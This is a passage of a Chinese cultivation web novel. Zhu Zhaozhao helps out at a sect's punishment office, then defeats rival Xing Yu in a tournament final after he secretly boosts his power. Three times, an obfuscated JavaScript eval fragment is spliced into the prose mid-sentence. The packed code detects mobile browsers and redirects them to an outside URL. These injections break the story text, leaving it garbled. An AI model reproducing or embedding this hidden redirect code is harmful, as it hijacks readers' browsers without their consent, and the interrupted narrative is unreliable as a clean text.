还有最后那位,你们别奖励他啊! 章盖得越多,祝昭昭越感觉自己仿佛来到什么无厘头片场。 什么是‘一弟子偷吃另一弟子珍藏糕点被发现还口出狂言导致被殴打’? 什么又是‘因为不小心被一练剑弟子剑气剃光头顶毛发,秃顶弟子愤而同样以剑气将其剃为光头’? 而且怎么王肃师兄被他的陈青师弟骗并金那事也还在这里啊,都过去多久了,还没处理完吗?!! 这都什么乱七八糟的! 越看越狂乱的祝昭昭在翻到一张写着‘山下集市有人状告一女神棍胡说八道导致其被同行者殴打,追打该女神棍几里地仍追不上,望仙师将其绳之以法’的表单后彻底陷入疯狂。 这写的该不会是她远在天玄山的三师姐萧瑜吧?! 所以她是真的被人追了几里地啊! 然后为什么这么多鸡毛蒜皮的小事都要在这里处理啊,太烦人了吧!! 叫什么剑宗掌刑司,改名叫剑宗居委会好吗? 祝昭昭:质疑师姐,理解师姐,成为师姐。 狂乱结束,祝昭昭对着那张要求处理萧瑜的表单沉默了很久。 最后做贼一样左顾右盼片刻,确认没人注意这边的祝昭昭,悄咪咪地举起手里印章。 萧师姐,我只能帮你到这了。 祝昭昭:安详·jpg 却就在她将要落章之时,门外传来一时清喝—— “你在干什么?!” 51. “和我签契,童叟无欺。” 说是清喝,实际上这声音出现的瞬间,响彻掌刑司。 本来就心虚的祝昭昭吓得冷不丁一个激灵。 绕梁余音里,她狠狠把手里印章捏了捏紧,深呼吸朝门口看去。 一名身着红衣的少女怒气冲冲地迈进门:“柳忻,我最后警告你一次,不要一发火就去砍门口的忍字碑,这个月已经换了两块了!!” “再坏一次你自己出灵石换!” 正对着手里册子咬牙切齿的柳忻闻言猛地一抬头:“都忍字碑了让我砍砍怎么了,再不给我发泄一下,我都能代替忍字碑站门口了!” 红衣少女的回答,是直接赏了柳忻一个暴栗。 化身吃瓜群众目睹全程的祝昭昭边认真看戏,边在表单上盖章。 然后刚盖完,就听到一道浑厚爽朗的笑声在自己耳旁响起—— “昭昭师妹好啊!” 这声音离得太近,祝昭昭手一抖,在‘认真看戏’加‘做贼心虚’的双重Buff加持下,反手将手里印章朝身旁猛地盖下去。 下一秒,随着‘嗵’声响起,一道身影重重倒在地上。 祝昭昭也终于看清来人。 然后瞳孔地震:“王肃师兄!” ‘大’字型躺在地上,鼻血横流的王肃哼哼着,竖起大拇指以示回应。 竖什么大拇指啊,谁被打会竖拇指啊?! 该不会被打坏脑子了吧! 想到这,祝昭昭更慌了:“王肃师兄,你没事吧!” 说着就要起身去扶王肃,祝昭昭刚退开椅子,另一道风轻云淡的声音就插进来:“他皮糙肉厚打不坏,不用理他。” 顺着声音来源看去,祝昭昭这才发现王肃旁边原来还站着一个人。 手里扇子不紧不慢地轻摇,露出双细长眼的青年微笑:“昭昭师妹好。” 祝昭昭眨眨眼。 这位又是? “陈青。”躺在地上的王肃终于站起来,“二长老门下二徒,也是我的师弟。刚才那个穿红衣的是我三师妹,贺稚雪。” 陈青? 那个用师兄弟情和假并金把王肃骗得团团转的陈青? 点点头,祝昭昭看向陈青的目光不由得带上点不明觉厉:“陈师兄好。” 陈青摇摇扇子,算是回应。 “昭昭师妹你怎么在这里,”鼻血还在顺着王肃指缝漏出来,他指着祝昭昭桌上,“而且还在帮忙干活?” “这个,”祝昭昭把厚厚的已处理表单掀起一半,将和萧瑜有关的那张表单放进去,“出了点意外,我……” “意外?”陈青挑眉笑了声,“昭昭师妹你确定不是被其他人拉过来帮忙的?” 祝昭昭:“……” 所以她该说什么,麻烦掌刑司做好规章制度管理,别让闲杂人等都可以来插一手? 沉默。 那边因为鼻血一直不停,王肃干脆仰头试图让鼻血回流:“这帮家伙们就是这样,能用的人恨不得统统用上。” “之前没事就逮着机会让月书和之衡来,现在他两人也不知是有事忙了还是帮忙帮怕了,来得次数变少。近来宗门大比事又多,昭昭师妹这时候过来,他们不抓壮丁就怪了。” 很想问王肃为什么不直接点个愈灵术在鼻子上,祝昭昭眼含疑惑地看向陈青,得到他意味深长地摇头。 祝昭昭只能委婉提醒:“王肃师兄,流鼻血不能仰头,否则……” 她还没‘否则’完,王肃已经猛地呛咳起来,一边咳鼻孔一边往外喷血。 靠! 祝昭昭惊恐。 她就说流鼻血不能这么搞! 仰着头又呛又咳两手乱伸的王肃,和满脸嫌弃躲得更远的陈青形成鲜明对比,祝昭昭面无表情地看着眼前堪称毫无逻辑的画面。 彳亍,果然还是外面的世界更精彩。 祝昭昭:今天又学到好多·jpg 沉默着拉回椅子上准备继续盖章,祝昭昭刚拿起印章,陈青便走到她身旁。 他收起折扇轻敲桌子:“虽说是被他们强拉过来帮忙,但昭昭师妹似乎做得很顺手。” 祝昭昭:? 顺手? 从哪看出来的? 读懂了祝昭昭眼神中的疑惑,陈青朝处理好的那叠表单轻抬下巴。 顺着他视线看过去,祝昭昭差点嗤笑出声。 盖个章而已谁盖不好? 显然也不是来和祝昭昭讨论章盖得好不好的,一把推开还在乱伸胳膊的王肃,陈青笑眯眯地:“昭昭师妹有没有兴趣长期来这里帮忙?” 祝昭昭:“……” 什么意思? 不给祝昭昭考虑的机会,陈青再道:“不是让你成为这里的正式一员,只是让你若是有空闲时间,便来这里顺手帮帮忙。” “不会让你白白出力,”陈青笑容更深,“你若答应,今后每月,你账上都会得到五百门派积分。” 五百? 祝昭昭闻言侧目。 要知道积分难得,正常渠道想获取五百门派积分,满打满算都要小半个月。 陈青居然那么轻易就能开出每月五百积分的条件? 祝昭昭:有点意思。 见祝昭昭态度松动,陈青不知从哪抽出一张契约放在桌上。 速度之快与流畅,像是早就准备好:“如果没问题,昭昭师妹你在此契上画押即可。” 祝昭昭盯着桌上契约。 天上不会掉馅饼,所以她不会画。 看到陈青身后疯狂摇头的王肃和其他师兄师姐,她更不会画。 越看越觉得眼前的陈青像只老奸巨猾的狐狸,按捺住把他挂路灯的冲动,祝昭昭装傻:“谢谢陈师兄,但昭昭修为尚浅,此时更应把重心放在如何修炼提升上。所以陈师兄的好意,昭昭心领。” “但这份契约,昭昭不签。” 无不可惜地打开折扇轻摇,陈青还想再劝,红衣少女已经拎着柳忻风风火火朝这边来。 示意挡路的陈青闪一边去,贺稚雪皱眉:“二师兄你别老骗师弟师妹乱签卖身契,缺人也不能这么干。而且昭昭师妹是宗主亲传,你坑她,” “小心宗主过来收拾你。” 朝祝昭昭伸出手,贺稚雪笑容明媚:“昭昭师妹快起来吧,这里我让柳忻来。” 少女食指上的红玉戒散发润泽光芒,祝昭昭盯着那枚戒指,从善如流地将手放进她掌心,再被她轻轻拉起。 握着祝昭昭的手,把她拉到自己身旁后,贺稚雪两手拍在柳忻肩膀,推着她把她扣在椅子上—— “作为乱砍忍字碑的惩罚,你今天就在这盖章。” 柳忻扭捏半天,装出一副‘这不好吧’的样子:“我可是坎组先导,现在这么忙,让我做这么简单的活不好……” 贺稚雪直接扭头:“岚师妹,那你——” 盖章声和翻页声在桌上响起,柳忻一脸正经:“近日掌刑司事务繁多,烦请你们离远些吵闹。” 贺稚雪:“……” 祝昭昭:“……” 好一个识时务者为俊杰。 无奈捏捏眉心,贺稚雪问陈青:“平时想找你都找不到,今天来干什么?” 陈青摇摇折扇:“找你。” “找我干什么?”贺稚雪‘啧’一声,“麻烦事不要叫我,自己想办法解决。” 陈青眉眼弯弯:“很遗憾,的确是麻烦事。” 无视贺稚雪的嫌弃,陈青凑到她耳边。 祝昭昭虽然没有偷听的时候显露异常爱好,但隐约听见‘洛水镇’三个字的时候,她还是下意识挑眉。 贺稚雪的脸色也随着陈青在她耳边待得时间越长,而变得越差。 直到陈青起身站到一旁,贺稚雪已经皱紧眉头。 拍开还在和鼻血作斗争的王肃,贺稚雪眉眼间隐带肃色:“我们先回去和师父报告此事。” 即将离开的时候突然想起什么,她突然转身在祝昭昭跟前站定。 祝昭昭不解:“怎么了贺师姐?” “灵牌,”贺稚雪指指自己腰间玉牌,“有带在身上吗?” 点点头,祝昭昭从空间袋摸出自己的身份灵牌:“贺师姐要这个做什么?” 没有第一时间回答祝昭昭,贺稚雪将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有用。”趁没人注意,祝昭昭快速挑了一个坏得没那么厉害的,“打开屏蔽结界,法器修好了直接给我。” 听话撑起屏蔽结界,202收下祝昭昭递给自己的法器。 * 打理好一切从结界里出来的时候,掌刑司里的人已经没有刚来时那么多。看了眼门外的夜色,祝昭昭指尖轻划过放置法器的桌子,朝柳忻处走去。 她和柳忻打招呼。 “昭昭?”抬起头的柳忻很惊讶,“这么晚了你怎么还在这?” 指指门口,祝昭昭面不改色地乱找理由:“有东西落在这了,刚刚回来拿。” “这样。”柳忻也没多想,“那你现在准备回去了吗?” “嗯。”祝昭昭应完,本想借驴下坡直接离开,却在注意到柳忻桌上放着的小白瓷盒时停下脚步。 她指指那个瓷盒:“那个,是什么?” 柳忻顺着祝昭昭手指的方向:“这个啊,沁凉蜜咯。” “沁凉蜜?”很快反应过来这就是薄荷糖,祝昭昭疑惑,“师姐你也喜欢吃这种糖?” “这糖那么刺激,”祝昭昭又指指嘴巴,“师姐你吃着不辣嘴吗?” “辣嘴啊。”柳忻也没藏着掖着,“但辣嘴归辣嘴,它也很提神。” 说着打开话匣子,她站起来活动身体:“不过说归说,这糖确实是最近才在司里多见起来的。好像是谁先发现……哦,想起来了。是有人先发现慕师兄在吃,然后去问,慕师兄告诉他的。” “然后这糖吃起来确实提神,所以很快大家就都吃起来了。” 怕祝昭昭不信,柳忻还随手指了几个人:“你看,他,她,这帮人最近眼皮子一打架就往嘴里塞糖,效果可好了。” 祝昭昭心不在焉地看了几眼,因为她知道柳忻不会因为这点小事乱说话。 她比较好奇柳忻说慕行秋吃薄荷糖的事。 那家伙应该不喜欢刺激的东西才对,怎么薄荷糖吃得那么欢? 怪了。 怀着‘人的爱好是那么容易就改变的吗’的不解和‘可恶,不小心奖励到这小子了’的复杂心情,祝昭昭和柳忻闲聊几句后,很快找理由离开。 * 回到雾鸣山,祝昭昭刚进屋子,就有传信鹤叨她窗户。 打开窗接过传信鹤,祝昭昭将之展开。 上面只写了简短的一句话。 ‘坤签,刑煜。’ 52. 长老们一定有要紧事 又是一日清晨。 白月书照旧去祝昭昭住处准备叫她起床,走到近前时却发现她已经准备出门。 回身关上房门,祝昭昭快步走到白月书身边:“月书师姐,我们走吧。” * 鸣剑台—— 虽说内门新生和内门老生依旧是分开比试,但决赛前,仍少不了一次赛前动员。 百无聊赖地打了个呵欠,祝昭昭面无表情地盯着不远处的高台。 她身旁的云珈也耷拉着张脸:“长老讲话早就应该开始了吧,怎么都半个时辰了,台上还一个人都没有。” “怎么回事啊?” 齐青青试图找理由:“也许是宗主和长老他们突然有事耽搁了,毕竟我们剑宗是名门大派,事务繁忙很正常的呀。” “可是再忙也不能在这时候缺席半个时辰吧?”云珈表示不解,“这可是一年一度的宗门大比呢,算宗里最大的几件事了吧,有什么事能大过这个?” “也许是哪个长老即将进阶,或者是其他什么事关宗里未来的大事必须现在处理?” 边说着,祝昭昭已经边开始往嘴里扔糖:“总不能是长老们集体睡过头迟到,这会儿才急急忙忙赶来吧。” 她话音刚落,一直没动静的高台突然有人走上去。 却不是众人预料中的长老们,而是一男一女两名剑宗弟子。 脸上表情相当古怪,两人互相眼神推脱了片刻,最终是女弟子深深一闭眼,一副豁出去了的表情:“……因宗主与长老们突有要事,今次大比省去长老发言一步。” 男弟子紧跟着接话:“接下来由我二人宣读决赛注意事项。” 台上两人开始棒读规则。 没想到开场就遇见这事,全场惊讶不解之余,开始窃窃私语起来。各种猜测一时尘嚣其上,就连台上师兄师姐们在说什么都没人关心。 祝昭昭当然也很好奇到底发生了什么。 但她完全没兴趣猜。 祝昭昭选择直接飞了只传信鹤给白月书。 真·亲传弟子的正确用法。 祝昭昭:机智如我。 传信鹤很快飞回,祝昭昭迫不及待地将之打开,然后和云珈与齐青青一起看着上面写的字—— ‘大长老闭关多年不问世事,宗主则因今早起得太晚,不愿过来。六长老、七长老劝之无果后愤而离去。’ ‘四长老见三人不参加,便从善如流跟随;二长老、三长老与吾师在得知三位长老,一位宗主皆不愿出席后,以‘人若不齐,成何体统’为由,也不再参加此次大比决赛发言。’ 沉默。 震耳欲聋的沉默。 堂堂一宗之主赖床晚点干脆不来,两个长老劝不动生气跑路;一个长老不知道是不是其实本来也不想来,所以跟着跑路,让剩下的三个长老也气得罢工。 还什么‘人若不齐成何体统’。 根本就是嫌丢人不想来了吧…… 祝昭昭:叹为观止。 但不论如何长老搞出什么操作,大比还是要继续。显然也不想在台上丢人太久,两名师兄师姐飞快念完规则后下台跑路。 随着一道钟声响彻剑宗,大比决赛正式开始。 * 依旧是新生与老生分开比试。空签的弟子在观战区观战,中签的两组人则分别跃上擂台。 目光从不远处的云珈与齐青青那边擂台收回,祝昭昭虽然表面视线落在对面的刑煜身上,实则却心不在焉。 这幅神游天外的模样落在刑煜眼里,成了她未战先怯的证明。 于是他冷笑一声:“祝昭昭,现在知道怕了?” 盯着两眼放空的祝昭昭,刑煜眼底闪过一丝快意:“从进了新生班开始,你就一而再再而三地挑衅我。近来更是越来越嚣张,甚至在众目睽睽之下说出我的……!” 一脸恨不得生吃祝昭昭的模样,想起前段时间遭遇的刑煜狠狠咬牙:“之前有宗主和白掌教他们护着你,我不能拿你怎么样。这次在擂台上,” “我看谁还能护着你。” 最后一个字落下,刑煜已经准备享受祝昭昭满含恐惧的求饶。 然而他等了半天,对面人却还是那副两眼空茫的模样,对他的话根本没有半点反应。 或者更直白点说,祝昭昭压根从头到尾都没把他当回事。 意识到这点,刑煜一张脸顿时憋成猪肝红。 他气得低喝:“祝昭昭!” 这一声带了灵力震荡,祝昭昭鬓角碎发被吹拂而起。 也足够将她叫回神:“比赛结束就下山逛逛!” 说着视线终于聚焦,祝昭昭后知后觉看着刑煜:“是你啊,你刚才说什么?” 刑煜早已被她那句‘比赛结束就下山逛逛’气得两眼发黑。 没再跟祝昭昭废话半句,比赛开始的钟声响起,他直接召出本命剑朝她冲了过去。 足尖一点向后退开的同时张开防护结界,祝昭昭也召出灵华:“好声好气问你话,你火气那么大做什么?” 她竟然还好意思问他火气为什么那么大! 眼睛都快气喷火,刑煜剑下灵力凝聚更多。 骤然增大的灵力冲击下,祝昭昭却没事人似的,还有余力继续叨叨:“比赛结束后记得找点清心草吃。” 话音落下的瞬间撤下结界,她两指并拢划过灵华剑身,继而朝刑煜当头一剑劈下。 巨大的冲击瞬间以两人为中心向四周辐射,凌厉剑气狂风般掠过擂台边缘,点亮包围擂台的防护结界。 观战人群哗然。 要知道包围擂台的防护结界强度,以擂台中人修为上限为变化节点。能令防护结界现形的灵力,必定已经远超两人修为上限。 一击竟然就能做到这种程度。 比赛还只是刚开始…… 离擂台最近的一圈弟子快速地交换视线后,沉默且熟练地把灵石压在了祝昭昭的名字下。 赔率低又怎样,至少有得赚! * 鸣剑台附近某不知名山头—— ‘咔嚓’啃了口黄澄澄的灵果,躺在树干上的掌筠悠闲出声:“比赛刚开始就能闹出这动静,昭昭这孩子,我喜欢。” “昭昭确实讨人喜欢。” 纤细指尖轻轻逗弄肩头灵鸟,宁木灵没好气地白了掌筠一眼:“你也真是的,不想去鸣剑台就直接说不想去,非要搞出那么多事来。还睡过头,” “你也不嫌丢人。” 闻言笑嘻嘻地,掌筠很得意:“我不觉得丢人,丢人的就是别人,我怕什么。” 拿死猪不怕开水烫的掌筠没办法,宁木灵瞪他半天,最后只叹了一声:“真不知道月儿为什么要把昭昭送来剑宗。” “天玄山的圣女跑到剑宗来,要是让别有用心的人知道了……” “你担心我们护不住她?”掌筠反问。 宁木灵垂眸望着鸣剑台方向,不置可否:“百密总有一疏。” “那天玄山就永远安全?”掌筠笑,“阿灵,你与闵月算得上亲近好友,你当真一点都没有察觉到天玄山的态度变化?” 宁木灵沉默。 “他们也在寻找新的出路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280535|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 顺着宁木灵的目光望向鸣剑台,掌筠眸光意味深长:“剑宗已经暗流涌动,其他宗门情况只怕也不会好。天玄山被誉为天道传达者,知道的信息只多不少。” “他们愿意在此时松口让昭昭出来,其实就是在找新的可能。” “在这种情况下,不管我们护得住与否,昭昭都会过来。” 说着翻了个身,掌筠支起手托住脑袋:“而且阿灵你根本不需要担心昭昭的处境,毕竟她来剑宗不过短短数月,修为便已经跃至金丹,此等天赋,放眼整个修真界都极其罕见。” 他突然小声嘟囔:“天玄宗都在哪找的这些天才,下次跟他们后面抢弟子得了,反正他们打不过我……” 宁木灵挑眉:“你说什么?” “没什么。” 被乍然出声的宁木灵吓地一个激灵,掌筠轻咳两声:“不仅如此,昭昭来剑宗这段时间做的事我都略有耳闻。你与其担心我们护不护得住她,不如先担心一下别的事吧。比如……” “洛水镇。” 掌筠眉眼微弯,眼底却没有笑意。 * 又是一剑劈向刑煜面门,看着他狼狈抵挡的模样,祝昭昭挑眉:“你刚才不是还说要把我怎样?” “就这样?” 堪堪站稳的刑煜闻言一个激灵:“你听见了?” “听见了。”祝昭昭点头。 “听见了你装没听见?!”刑煜怒不可遏,“竟然故意装听不见我,祝昭昭,你这家伙真是,真是……” “真是罪该万死!” 道道灵力随着刑煜的话音朝祝昭昭直刺而去,跟在灵力之后,他闪身出现在祝昭昭视线死角,径直就是一剑。 赶在最后一刻抵挡住将要刺中自己的剑,祝昭昭弹指,一道细若发丝的灵力刺向刑煜手腕:“别生气了,我怕你爆炸。” 躲闪不及的刑煜被刺地手一抖,祝昭昭抓住机会将他的剑尖踢偏,同时欺身而上,灵华照着他肩膀刺下。 衣袍被灵华割裂,刑煜咬牙拼着最后一刻向后仰倒,同时抬腿,猛地朝祝昭昭下盘横扫而来。 祝昭昭却比他更快。 当即按住刑煜肩膀翻到他身后,祝昭昭一脚踢在他腿弯,又抓住他失去平衡的瞬间抬手,操控灵华直刺他面门。 整套动作一气呵成,快到刑煜根本来不及反应,只能眼睁睁看着灵华离他越来越近,哪怕他已经撑起结界抵挡,也于事无补。 结界在触及剑尖的刹那破碎,刑煜也被剑气击飞,整个人头朝下倒在擂台边缘附近,炸起一片灰尘。 鸦雀无声。 观战众人犹不敢信,离刑煜近的,探头探脑盯他半天,确认他倒在地上没反应后,面面相觑。 就这么结束了? 都是一路杀进决赛的人,差距却这么大? 比赛开始才过了多久,两个人才过了多少招。 这就分出胜负了? 从买祝昭昭赢的人开始欢呼,整个观众席都喝起彩来,热烈的响动里,裁判师姐也开始结束前倒数。 一片嘈杂里,站在刑煜不远处的祝昭昭却眸色沉沉。 不对。 太快了。 她和刑煜同为金丹,哪怕她现在是金丹中期,刑煜也不可能在她手下只走过这么几招就败。 这太反常。 维护员的经验让祝昭昭在所有人都放松下来的时候,依旧保持了警惕。 这份警惕救了她。 就在裁判师姐的倒数来到最后一个数时,汹涌灵力突然从刑煜身上爆发而出。 53. 干嘛,你吃了金坷垃啊? 防护结界顷刻炸开刺目的光。 在刑煜身上爆发灵力的同时就已经撑起结界,祝昭昭紧握灵华,死死盯着他刚才躺下的方位。 果然,随着防护结界加强后的光芒消失,刑煜的身影已经不在原地。 没有半分犹豫地,祝昭昭一把将灵华掼入身前地面。 剑气拔地而起的瞬间,刑煜的剑也已经来到祝昭昭脖颈半尺位置。 铿锵声猛然炸开,祝昭昭寻声扭头,正对刑煜一双充血肿胀,神智都已不甚清明的双眼。 他看着祝昭昭,控制不住颤抖的嘴唇吐出断断续续的话:“祝昭昭……我会让你……付出……” “代价!” 怒吼声响彻擂台,刑煜手里剑炸出一圈灵力。 很明显的失控,应该是某种短期内可提升修为的秘法导致。 意识到这点,祝昭昭却并不惊慌。 她甚至有余力快速朝观战区环视一圈。 有人惊讶,有人被吓,有人在往观战区外跑,不知道是准备喊同伴看戏还是准备向掌教报告;刚才的裁判师姐被隔离在擂台结界外,这会儿拿着玉牌应该是在通知人过来。 围观这场比试的人,全部目睹了刑煜的失控。 他们都是证人。 祝昭昭正思忖,破碎声骤然响起。 是刑煜不知什么时候斩碎了她的防护结界。 极速掠过左脸的风带起一阵刺痛,祝昭昭平静地抬手抹去随即滑落的鲜血,被碎发遮蔽的眼里闪动起跃跃欲试的兴奋。 “就让我们看看,是掌教和慕行秋他们来的速度快,还是我解决你的速度快。” 下一秒,祝昭昭猛地拔起灵华,闪身消失在原地。 * 掌刑司—— 刺耳的警报声引起一位弟子的注意,她立刻出声提醒:“法器响了,擂台那边有情况!” “快,谁跟我去看看?” 发现异常的弟子刚想走,肩膀就被人拍了一下。 一个眼下挂着深深黑眼圈的青年指了指门口:“慕师兄,刚才,已经走了。” 少女震惊:“走了?” 青年点头:“警报刚响,第一声,慕师兄,就已经,走了。” 大眼瞪小眼。 紧绷的肩膀放松下来,少女面无表情地指着青年的黑眼圈:“要不我借你点脂粉擦擦。” “为,什么?”青年慢吞吞地摸向脸。 “这样你死的时候会好看点。” * 掌刑司到鸣剑台有一段距离。 正当慕行秋驭剑经过一座山头时,不远处突然有人拦在了必经之路中央。 慕行秋于是停下来。 望着对面的人,他开口:“子山兄有何贵干。” 邢子山丝毫不和慕行秋客气:“我想在这就在这,有问题么?” “没问题。” 话落直接绕过邢子山继续走,慕行秋速度之快,邢子山甚至来不及拦,已经被他拉开极长一段距离。 立刻召出法器奋起直追,邢子山终于赶在慕行秋将要离开山头的时候,重新拦在他对面。 盯着慕行秋神色如常的脸,邢子山脸都绿了:“你走那么快做什么,我话还没有说完!” “所以子山兄想说什么。”慕行秋唇角微弯,“慕某洗耳恭听。” 可慕行秋真的停下来准备听邢子山说的时候,他支支吾吾半天,却又一句话都说不出来。 背着手静静等了邢子山半晌,慕行秋突然出声。 他笑意柔和:“鸣剑台内门新生擂台其中一座擂台出了问题。” “是子山兄手足所在那座么?” 明知故问的问句。 不再绞尽脑汁地想理由,邢子山静静盯着慕行秋。 慕行秋亦含笑回望,唇角笑意甚至变得更深。 没有再去点明或者继续刚才的话,他语调轻缓到悠闲:“我理解子山兄担心手足,正因为如此,子山兄更不该在此危急时刻与我闲聊。” “毕竟若是因此耽误我确认子山兄那位手足的情况,于情于理,我和你都不好向宗主和其他长老们交代。” “你说是么,子山兄。” 看似关心的话语,最后一句却已然暗含警告之意。慕行秋微笑望着邢子山,无声的对峙在两人间持续。 最后,邢子山沉默让开。 “多谢子山兄理解。” 说不清是道谢还是示威,慕行秋朝邢子山微一颔首后,与他擦肩而过。 且不知有意还是无意,他剑下灵力重重撞了邢子山的法器一下,差点直接把邢子山撞掉下去。 这可是千米高空! 好不容易站稳身形,邢子山咬牙瞪着慕行秋离去的方向。 * 又是一道暴烈灵力擦着祝昭昭脖颈过去,刚好侧头松了松略微紧绷的脖子,她望着对面已经彻底失智的刑煜。 有点麻烦。 抬手召出数道灵力,随着灵力很快凝聚成冰剑,祝昭昭轻轻一挥,所有冰剑齐齐刺向刑煜。 她则跟随在冰剑之后,很快也来到刑煜近前。 冰剑被骤然升起的土墙吞噬消失,向着刑煜当头劈下的灵华也被他周身灵力弹开。几个弹身甩开刑煜的追踪,祝昭昭挥开沾染在灵华剑身的泥土。 “怎么办啊主人。”全程围观的202很着急,“这个家伙是土系灵根,刚好克你。” “他现在又是暴走状态,主人你很难占到便宜啊。” “我知道。”祝昭昭抬手又是几支冰剑,这次是从刑煜头顶落下。 然后再次被刑煜迅速凝成的土灵力吞噬。 202都快急跳脚了:“啊啊啊主人,他用了快速提升灵力的秘法,现在实力大增,克你克得厉害啊啊啊!” 再次找准机会对着刑煜就是一剑,祝昭昭没有说话。 202盯着调出的数值:“他现在的修为已经是金丹中期了!” “要不主人你现在还是认输下台吧,反正我们本来的目标就是抓他作弊不是打赢他,没必要以身犯险。” “不要。”祝昭昭听到这,终于毫不犹豫地拒绝,“我没有不战而降的习惯。” “可是不喜欢认输也要看场合吧!” 202锲而不舍地劝:“我刚才算过了,按现在你和他的修为能力对比,你被他重伤的可能性达到了百分之七十以上!” “这么危险。”祝昭昭点头。 “没错!”202说着收回面前的数值面板,这才发现祝昭昭根本没把自己的话听进去,“主人!你能不能别那么死犟!” 早在202叨叨的时候出现在刑煜身旁极近的距离,祝昭昭五指并拢,自她指尖伸延出的冰刃划破刑煜持剑的右臂:“你安静的,要是因为你吵得我分神被他重伤,我马上和主系统发邮件举报你。” 知道祝昭昭无论如何都不会听自己的认输了,202又气又急,想再唠叨又怕真的因此害她分神受伤,最后只能大骂一句‘主人笨蛋’,然后躲起来自闭。 虽说如此,但祝昭昭还是能感知到202的目光一直都在自己这里。 她忍笑,终于将全部注意力放在面前人身上。 平心而论,水灵根对上土灵根的确存在天然劣势,同修为程度下更明显,哪怕其中一方是催生出来的修为也一样。 但,存在天然劣势,并不代表没有转机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280536|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比如再完美的防御,都会有一个异常脆弱的罩门存在。 找到它,很多问题就会变得简单。 心中飞快盘算着,祝昭昭的目光也从刑煜不断冒出鲜血的右臂伤口,缓缓移到他血红的瞳孔中。 那么。 他的罩门在哪里? 一瞬,一弹指,又或是更久。 直到刑煜怒吼着冲来的时候,祝昭昭也终于动起来。 只是这次,她不再进攻。 灵力运转到极致,祝昭昭准确地在刑煜每一次挥剑,又或是驱使灵力朝自己攻来时躲开,好几次甚至是贴着剑刃和灵力闪避。 这捉摸不透的身法让刑煜暴怒。 又一次让祝昭昭从自己手中长剑下逃走,他彻底失去耐心,一把将剑甩在地上。 扔得好。 挥手就是一道灵力把那柄剑甩开更远,祝昭昭死死盯着对面的刑煜, 继续。 不负祝昭昭期待,刑煜很快猛地跪倒在地,双手也紧紧贴着地面。 下一秒,他大喝一声,双手从地面带起两道巨大的,由黄土凝成的泥柱。 就是这样! 死死按捺住骤然急促的心跳,祝昭昭抬手,掌间多了一团冰蓝色的灵力。 足尖瞬间蓄力在地面碾出小坑,她一路疾行,眨眼出现在刑煜左侧。 刑煜将其中一道泥柱拍向祝昭昭的刹那,她掌间灵力也恰好挥出。 那冰蓝灵力轻飘飘,如雨珠滴落般轻轻砸落在刑煜身上。 祝昭昭却没他那么好运。 哪怕只是泥柱的边缘擦过肩膀,其上蕴含的灵力也暂时麻痹了祝昭昭的左臂。因此落回地面的同候,她左手也宣告失去行动力。 这本是非常危险的事情。 然而面对暂废的左手,祝昭昭却眼皮都没抬,而是掌心翻转间,右手再次多了一团灵力。 刑煜的另一根泥柱也在此时射来。 闪身躲开泥柱,祝昭昭鬼魅般又一次出现在刑煜身边。 一掌灵力下去又接一掌。有了第一次的经验,祝昭昭动手的速度愈加快速稳妥,其间刑煜一直尝试攻击她,却始终被她躲开。 对祝昭昭的‘戏耍’,忍无可忍的刑煜终于爆发。 仰天一声怒吼,他脚下地面开始颤抖。 震动传到祝昭昭脚下,她很快发现整座擂台都被辐射震动起来。 立刻意识到不对的祝昭昭在刑煜头顶拍下最后一团灵力后,闪身回到他正对面稍远的距离。 202惊恐的声音也在此刻响起—— “主人你快跑,他要动真格了!” 所以刚才不算动真格? 暗暗吐槽完,祝昭昭平静直视对面的刑煜,脑海中却回应202:“动真格?” “我现在就告诉你,什么才是真正的动真格。” 话音落下,她右手中渐渐凝出一柄冰剑。 一柄泛着淡淡金色的冰剑。 祝昭昭一剑挥出。 下一秒,碎裂之声响起。 将整座擂台包围的,能抵挡元婴中期攻击的防御结界,如同玻璃般轰然爆裂。 无数结界碎片和刑煜的攻击一起,碎雪般飞舞在空中。 慕行秋赶到时,眼前便是被这样的景象充斥。 满天碎片里,他视线上移。 几乎要变成废墟的擂台上,一片不堪入目的混乱里,只有一个少女静静立在原地。 似乎是察觉到他的目光,擂台上的少女扭头,无比准确地,在穿行的人流中锁定了他的位置。 继而笑开。 ‘你来晚了。’ 他从少女轻启的唇,一字一句地辨认出这句话。 54. 打个架竟然还带进化 恢复意识的第一时间,祝昭昭感觉到的是阵阵刺痛。 这份痛感不属于肢体或躯干的任何一个部分,而在灵根与经脉。 虽然早已习惯各种疼痛,但并不代表祝昭昭就喜欢被疼痛折磨。然而正当她挣扎着想睁开眼找点止痛药吃的时候,耳边却突然响起对话声。 先入耳的,是云珈满含担忧的话音:“这都三天过去了吧,昭昭怎么还不醒啊,宗主不是已经带六长老来看过,说没问题了吗?” 接下来是齐青青的安慰:“没问题不代表昭昭就马上会醒啊,毕竟她当时受了那么重的伤。” “要不是慕师兄及时赶到给昭昭吃了复还丹,六长老说昭昭的伤会比现在更棘手。” 哼。 及时? 慕行秋要真是及时赶到,还有她祝昭昭重伤这回事吗? 